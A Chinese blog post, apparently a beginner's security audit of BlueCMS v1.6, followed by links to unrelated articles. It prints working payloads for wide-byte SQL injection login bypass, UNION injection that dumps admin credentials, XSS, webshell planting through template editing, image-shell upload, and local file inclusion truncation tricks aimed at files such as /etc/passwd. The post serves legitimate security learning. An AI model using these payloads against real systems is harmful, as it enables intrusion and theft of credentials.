初审blucms(入坑)
作为一名初来乍到审计小白,从blueCMS入手再好不过了。通过对入门级的cms进行审计以及一个整体的框架和常见的漏洞学习,对个人而言是一次不错的学习经历。话不多说直接进入主题。
代码审计环境
BlueCMS v1.6 sp1源码
php+Apache(phpstudy等集成环境 PHP>=4.3.0,MYSQL>=4.1)
seay审计工具
审计前言
blueCMS是一个比较小众而且适合入门学习审计的CMS,从刚爆出漏洞至今网上已经有很多审计文章,大多都是两个熟知漏洞转来转去。但作为初入的小白自然不能满足。
所以对于这次入门决定花一些时间进去以记录一下审计过程中的困难和解决思路。
此次代码审计采用黑盒+白盒,能更好的了解漏洞产生的原因还有利用方法。
cms环境安装
源码链接:https://pan.baidu.com/s/1RxyG1Akpp_EZOoBoRtuuaQ 提取码:tj9s
流程:将bluecms文件夹放到WWW中,访问uploads下的install

默认安装能够访问upload即为成功

审计开始
blueCMS整体分析

在bluecms中主要的核心代码在/include文件中,/admin是只有管理员才能访问,/data存放一些配置文件,数据库配置文件等。/install文件是在安装时候需要访问。但是假如说在安装完后/install没有删除而且可以继续访问/install重新安装,这样子就可以重置数据拿到管理员密码和权限。
渗透过程第一个漏洞:xss漏洞
当我们点开一个站点,一般来讲正常操作是注册->登录->浏览文章,所以第一步我们要在注册界面寻找漏洞。那么我们要先注册账户。

在注册中,出现了好多输入框,于是我在想可不可以尝试一下xss弹窗呢?
正常的填写注册,在抓包,然后将数据包拦截
防止js前端检测,所以我在pwd中间加上的测试xss函数,send后成功弹窗


在网页源码中可以看到js恶意代码,说明这里存在一个存储型xss

渗透过程中第二个漏洞:sql注入漏洞
现在知道存在一个xss点,然后我在想在username和password处会不会存在sql注入呢?
在yrl地址中试了一下/admin 直接跳转到/admin/login.php文件下


先是正常测试了下用户名admin' or 1=1/1=2 密码admin
然后是无引号测试发现均为账户或密码错误

起初我是觉得没有漏洞的。 之后回看源码发现,在这里



由于默认使用的是gbk编码,我们已知当编码为gbk等双字节编码时,容易发生宽字节注入。(宽字节原理:两个字节以上叫宽字节,当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,mysql使用的是gbk编码的时候,默认认为两个字符为一个汉字。当网站过滤的机制是采用转义\的时候,我们可以在网站添加的转义符号前面构造一个%xx使得变成%xx%5c而被mysql认为是一个汉字,从而绕过转义。宽字节注入最长用的时%df,或者使用ascii码大于128的也可以 ,一般用129。)
漏洞利用
抓包修改admin_name=admin%df%27+or+1%3D1%23
明文就是%df’ or 1=1#
单引号被转义后变成%df’ or 1=1#
宽字节注入是利用mysql的一个特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而单引号逃逸了出来,就可以成功闭合sql语句了
再加上后面的or 1=1 #就构造成了永真语句,可以成功免密登录管理员后台了

现在是admin权限,接下来就是寻找管理员权限下可以进行的操作并寻找漏洞。
渗透过程中第三个漏洞:文件包含漏洞
登陆到admin,dirsearch一梭子找到模板管理,/admin/tpl_manage.php

然后点开编辑打开一个链接,在编辑处写入一句话木马,然后点击保存。

利用文件包含进入到上上层目录下的info.php,进入info.php后写入一句话木马,直接菜刀连接获得web权限

以上是我在安装cms后未知源码渗透的过程发现的漏洞(一个人渗透时候弄出来的,没有参考没有参考)。
接下来就是代码审计使用seay代码审计工具。
漏洞1(sql注入):在文件ad_js.php中存在sql注入

empty()函数用于检查一个变量是否为空。trim()函数移除字符串中的字符。这部分代码可以看到ad_id参数通过get得到,判断是否为空,不为空,则没过滤地带入getone函数进行查询。
进到getone()函数中 (getone()是自定义的函数,用来查询数据库。) 然后定位函数发现在/include/mysql.class.php文件中,然后进入函数看看有没有什么过滤。



function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
跳转到getone函数,然后没有任何过滤可直接执行sql语句,所以可以进行sql注入。
漏洞利用
第一种方法(手工注入)
先访问ad_js.php,会跳转到/ad_js.php?ad_id=1

看到ad_id=1就舒服很多,先是手注
先查看多少字段
?ad_id=1 order by 7

order by 8的时候会报错
查看一下哪里有回显
?ad_id=1 union select 1,2,3,4,5,6,7

在7处有回显,所以开始在7处构造payload
查看当前数据库
?ad_id=1 union select 1,2,3,4,5,6,database()

爆表名
?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

(这个表名确实多的离谱)主要看blue_admin这张表看
爆列名
?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

获取用户名密码
?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

其中在/admin/user.php文件中,通过POST传参后经过if语句判断到达$sql语句,在这句话中values值中的pwd进行了md5加密。

第二种方法(sqlmap跑一梭)

基本的sqlmap使用方法就不都多说了。
漏洞2(xss漏洞):在ad_js.php文件中
通过对ad_js.php文件进行审计后发现反射型的xss几乎在sql注入漏洞的同时伴随着xss。
漏洞利用
在该文件的sql注入漏洞处,由于源码中没有任何过滤,可以直接将xss恶意语句写到地址栏中可成功执行

漏洞3(任意文件包含漏洞):在user.php中

因为在黑盒测试的过程中通过抓包可以看到POST传参时会顺在着act参数用来做位置判断,这段源码中存在文件包含,分析代码,我们发现$_POST['pay']并没有做多余的安全检测,直接进行拼接,所以我们的重点是考虑如何截断。
漏洞利用
先在根目录上放上test.php (test.php下写入phpinfo)然后先访问一下

然后找到用户登录下的金币充值,点击购买后出现此界面,抓包点击在线支付

先尝试下%00,
payload:../../test.php

发现%00没有反应,应该是代码中对%00进行了转译。然后我们考虑一下利用文件路径长度截断,如用字符.或者/.或者./来截断。但是经过尝试后发现只有点截断可行。
payload:pay=../../1.php........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

但是这个地方我们是先在本地存放了个test.php文件,然后通过截断方式读取到test.php的。利用这个方式我们可不可以getshell呢?所以现在我们的思路是如何利用文件包含getshell。思路:寻找一个可以上传点,上传一个带木马的jpg文件,利用文件包含漏洞包含jpg文件,拿shell。
打开个人资料,存在一处上传头像。可以上传一个图片马,然后通过蚁剑菜刀链接,实践开始。因为没有过滤,所以直接上传成功了。
一句话木马内容:

上传:


上传成功后包含文件data/upload/face_pic/16117683204.jpg,同时在文件根目录中会生成shell.php

菜刀连接成功:

本地文件包含知识
点号截断:
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256,y因为在windows下路径超过256个字符后的东西会被舍弃)%00截断:
?file=../../../../../../../../../etc/passwd%00
(php 版本<= 5.3的才有。例如test.php%00.jpg,这时就会去掉%00后面的字符串。所以程序读取时候就变成了test.php)0x00截断:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris)路径长度截断:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。而利用 "./" 的方式即可构造出超长目录字符串.)编码绕过:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
(如果服务器对../ 等做一些过滤,可以用一些编码来进行绕过.注:必要情况下可以进行二次编码)
初审blucms(入坑)的更多相关文章
- RoboGuice 3.0 (一)入坑篇
RoboGuice是什么? 一个Android上的依赖注入框架. 依赖注入是什么? 从字面理解,这个框架做了两件事情,第一是去除依赖,第二是注入依赖.简单理解就是,将对象的初始化委托给一个容器控制器, ...
- [SSIS] 在脚本里面使用数据库连接字符串进行查询等处理, 入坑
入坑.!!!!! SSIS 中dts包 设置的 ADO.Net连接, 在传入脚本的时候, 我要使用 数据库连接,进行数据的删除操作. 于是我使用了 了如下的 代码 使用的是windows 身份验证, ...
- webpack入坑之旅(六)配合vue-router实现SPA
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(五)加载vue单文件组件
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(四)扬帆起航
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(三)webpack.config入门
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack,在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(二)loader入门
这是一系列文章,此系列所有的练习都存在了我的github仓库中vue-webpack 在本人有了新的理解与认识之后,会对文章有不定时的更正与更新.下面是目前完成的列表: webpack入坑之旅(一)不 ...
- webpack入坑之旅(一)不是开始的开始
最近学习框架,选择了vue,然后接触到了vue中的单文件组件,官方推荐使用 Webpack + vue-loader构建这些单文件 Vue 组件,于是就开始了webpack的入坑之旅.因为原来没有用过 ...
- gulp入坑系列(2)——初试JS代码合并与压缩
在上一篇里成功安装了gulp到项目中,现在来测试一下gulp的合并与压缩功能 gulp入坑系列(1)--安装gulp(传送门):http://www.cnblogs.com/YuuyaRin/p/61 ...
随机推荐
- 同学你会hello world吗? 给我讲清楚点
少点代码,多点头发 本文已经收录至我的GitHub,欢迎大家踊跃star 和 issues. https://github.com/midou-tech/articles 面试官超级喜欢问hello ...
- Python 炫技操作:安装包的八种方法,你知道吗?
本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理 1. 使用 easy_install easy_install 这应该是最古老的包安装方式了,目前基 ...
- Mysql实现定时清空一张表的旧数据并保留几条数据
要达到如下目的: Mysql数据库会每隔一段时间(可以是2小时,也可以是一天,这个可以自定义),定时对一张库中的表做一个判断,如果这张表的数据超过了20条(这个数据也是自定义的,也可以是200条),就 ...
- 建议收藏!利用Spring解决循环依赖,深入源码给你讲明白!
前置知识 只有单例模式下的bean会通过三级缓存提前暴露来解决循环依赖的问题.而非单例的bean每次获取都会重新创建,并不会放入三级缓存,所以多实例的bean循环依赖问题不能解决. 首先需要明白处于各 ...
- Web自动化测试:xpath & CSS Selector定位
Xpath 和 CSS Selector简介 CSS Selector CSS Selector和Xpath都可以用来表示XML文档中的位置.CSS (Cascading Style Sheets)是 ...
- 编程方式实现MySQL批量导入sql文件
有时候需要在本地导入一些stage环境的数据到本地mysql,面对1000+的sql文件(包含表结构和数据,放在同一个文件夹下),使用navicat一个一个导入sql文件显然有点太慢了,于是考虑使用s ...
- 常用java自带命令概览
ref:http://www.hollischuang.com/archives/308 一.常用命令 jps: 查看本机的Java中进程信息. jstack: 打印线程的执行栈信息. jmap: 打 ...
- 01 . Go之从零实现Web框架(类似Gin)
设计一个框架 大部分时候,我们需要实现一个 Web 应用,第一反应是应该使用哪个框架.不同的框架设计理念和提供的功能有很大的差别.比如 Python 语言的 django和flask,前者大而全,后者 ...
- 【Azure Application Insights】在Azure Function中启用Application Insights后,如何配置不输出某些日志到AI 的Trace中
问题描述 基于.NET Core的Function App如果配置了Application Insights之后,每有一个函数被执行,则在Application Insights中的Logs中的tra ...
- Go之获取系统性能指标 - goPsutil
简介 psutil是一个跨平台进程和系统监控的Python库,而gopsutil是其Go语言版本的实现. Go语言部署简单.性能好的特点非常适合做一些诸如采集系统信息和监控的服务,本文介绍的gopsu ...